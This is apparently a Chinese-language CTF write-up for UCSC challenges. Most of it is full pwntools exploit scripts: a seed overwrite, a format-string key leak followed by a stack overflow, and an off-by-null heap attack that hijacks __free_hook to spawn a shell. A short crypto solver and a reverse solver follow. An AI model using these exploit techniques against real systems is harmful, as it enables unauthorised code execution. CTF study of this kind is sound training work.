PWN1 BoFido-ucsc
Srand伪随机绕过,Read函数可以覆盖seed,把seed覆盖成固定值(我选了1),然后运行一遍得到固定的数字,全部答对即可拿shell:
exp:
from pwn import *
context.log_level = 'debug'
p = process('/home/monke/PWN/UCSC/BoFido')
p = remote("39.107.58.236",44059)
# 覆盖seed值为1的payload
payload = b'A' * 32 + p32(1)
p.sendlineafter(b"Enter your name:", payload)
p.recvuntil(b"Now start your game!")
# 使用从程序输出中获取的实际随机数
winning_numbers = [
(163, 151, 162), # 第1轮的实际随机数
(85, 83, 190), # 第2轮
(241, 252, 249), # 第3轮
(121, 107, 82), # 第4轮
(20, 19, 233), # 第5轮
(226, 45, 81), # 第6轮
(142, 31, 86), # 第7轮
(8, 87, 39), # 第8轮
(167, 5, 212), # 第9轮
(208, 82, 130) # 第10轮
]
# 提交每轮的数字
for i, (n1, n2, n3) in enumerate(winning_numbers, 1):
p.recvuntil(f"[+] Round {i}".encode())
p.sendline(f"{n1} {n2} {n3}".encode())
# 获取shell
p.interactive()
PWN2 userlogin-ucsc
先用generatePassword初始化了一个密钥,密钥是随机生成的
然后进入login:
两个判断,第一个判断输入是不是supersecureuser, 第二个判断跟输入跟密钥是否一致。然后分别进入user和root函数。
user函数:
无溢出,但有fmt
root函数:
有溢出
思路就是,先用两次user函数来泄露密钥(因为密钥长16B,所以要两次),然后输入密钥进入root来进行溢出就行,本题还给了后门函数shell,直接用就行。
密钥的泄露需要动调:
基础偏移是6
密钥位置:
不断fuzz得到密钥偏移是22和23。
from pwn import*
from LibcSearcher import*
context(arch="amd64", os="linux", log_level="debug")
p = process("/home/monke/pwn/uctccttf/login/userlogin")
p=remote("182.92.65.134",41638)
#连接远程
ret=0x401016
p.sendlineafter("Password: ",b"supersecureuser")
p.sendlineafter("Write Something\n",b"%22$p")
passwd1=p.recv(18)
print(passwd1)
passwd1=int(passwd1,16)
print(passwd1)
p.sendlineafter("Password: ",b"supersecureuser")
p.sendlineafter("Write Something\n",b"%23$p")
passwd2=p.recv(18)
print(passwd2)
passwd2=int(passwd2,16)
print(passwd2)
p.sendlineafter("Password: ",p64(passwd1)+p64(passwd2))
payload=cyclic(32+8)+p64(ret)+p64(0x401261)
p.sendlineafter("Note: \n",payload)
p.interactive()
PWN3 疯狂复制-ucsc
off by null模板堆题,利用off by null向前合并,切割unsorted bin把main_arena挤到可以show的chunk上泄露基址,然后劫持free_hook为system即可拿shell
from pwn import *
context(arch='amd64', os='linux', log_level='info')
#p = process('/home/monke/PWN/UCSC/PWN/pwn')
p = remote('39.107.58.236',44928) # 远程地址
def create(index, size):
p.sendlineafter(b':', b'1')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Size ', str(size).encode())
def edit(index, content):
p.sendlineafter(b':', b'2')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Content: ', content)
def show(index):
p.sendlineafter(b':', b'3')
p.sendlineafter(b'Index: ', str(index).encode())
p.recvuntil(b'Content: ')
return p.recvline()
def delete(index):
p.sendlineafter(b':', b'4')
p.sendlineafter(b'Index: ', str(index).encode())
for i in range(7):
create(i, 0xf0) # 堆块0-6,填充tcache
create(7, 0xf0) # 堆块7,unsorted bin
create(8, 0x18) # 堆块8,越界
create(9, 0xf0) # 堆块9,合并
create(10, 0x28) # 堆块10,隔离top chunk
for i in range(7):
delete(i) # 堆块0-6进入tcache bin[0xf0]
delete(7) # 堆块7进入unsorted bin
edit(8, b'A'*0x10) # 越界写\0,覆盖堆块9的prev_size低字节
delete(8) # 释放堆块8
create(8, 0x18) # 重用堆块8
edit(8, b'A'*0x10 + p64(0x120)) # 覆盖堆块9的prev_size
delete(9) # 触发7+8+9合并到unsorted bin
create(7, 0xd0) # 切割unsorted bin
create(9, 0x10) # 调整布局
show(8)
leak_data = show(8).strip()
if leak_data == b'(null)':
log.error('show(8) failed, heap memory corrupted')
exit(1)
leak = u64(leak_data.ljust(8, b'\x00'))
print(hex(leak))
#gdb.attach(p)
libc=ELF("/home/monke/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6")
libc_base=leak-0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
system=libc_base + libc.sym['system']
print(hex(libc_base))
print(hex(free_hook))
delete(7)
delete(9)
for i in range(7):
create(i, 0xf0) # 重新分配堆块0-6
create(9, 0x10)
create(7, 0x10)
# attack
create(11, 0xf0)
create(12, 0xf0)
create(13, 0x20)
for i in range(7):
delete(i) # 填满tcache bin[0xf0]
delete(11)
delete(10)
create(10, 0x28)
edit(10, b'A'*0x20 + p64(0x130)) # 越界写,覆盖堆块11的prev_size
delete(10)
delete(12)
create(0, 0x80)
create(1, 0x80)
edit(1, b'A'*0x60 + p64(0x100) + p64(0x30) + p64(free_hook)) # 写入__free_hook
# 触发shell
create(2, 0x20)
create(3, 0x20)
edit(3, p64(system))
create(4, 0xf0)
edit(4, b'/bin/sh\x00')
delete(4) # system("/bin/sh")
p.interactive()
Crypto 4 XR4-ucsc
先解密RC4得到种子值,然后用该种子值生成随机数,与data数组异或得到flag
Part1:
import base64
ciphertext = "MjM184anvdA="
key = "XR4"
# RC4初始化
def init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
# RC4解密
def decrypt(cipher, box):
res = []
i = j = 0
cipher_bytes = base64.b64decode(cipher)
for s in cipher_bytes:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(s ^ k))
return (''.join(res))
box = init_sbox(key)
a = decrypt(ciphertext, box)
print("Decrypted value:", a)
Part2:
import random
import numpy as np
# 定义转置矩阵
transposed_matrix = np.array([
[1, 111, 38, 110, 95, 44],
[11, 45, 58, 39, 84, 1],
[116, 19, 113, 60, 91, 118],
[33, 98, 38, 57, 10, 29],
[68, 52, 119, 56, 43, 125],
[32, 32, 7, 26, 41, 41]
])
# 将转置矩阵转置回来并展平为一维数组
data = transposed_matrix.T.reshape(-1)
def random_num(seed_num):
random.seed(seed_num)
flag = []
for i in range(36):
# 生成随机数并取前两位
rand_val = int(str(random.random()*10000)[:2])
# 与data中的值异或
flag_char = chr(rand_val ^ data[i])
flag.append(flag_char)
return ''.join(flag)
seed = 78910112
print("Flag:", random_num(seed))
Reverse 2 easy_re-ucsc
逆向签到题,简单异或即可得到flag
Str = "n=<;:h2<'?8:?'9hl9'h:l>'2>>2>hk=>;:?"
v7 = 10
flag = ''.join(chr(ord(c) ^ v7) for c in Str)
print(flag)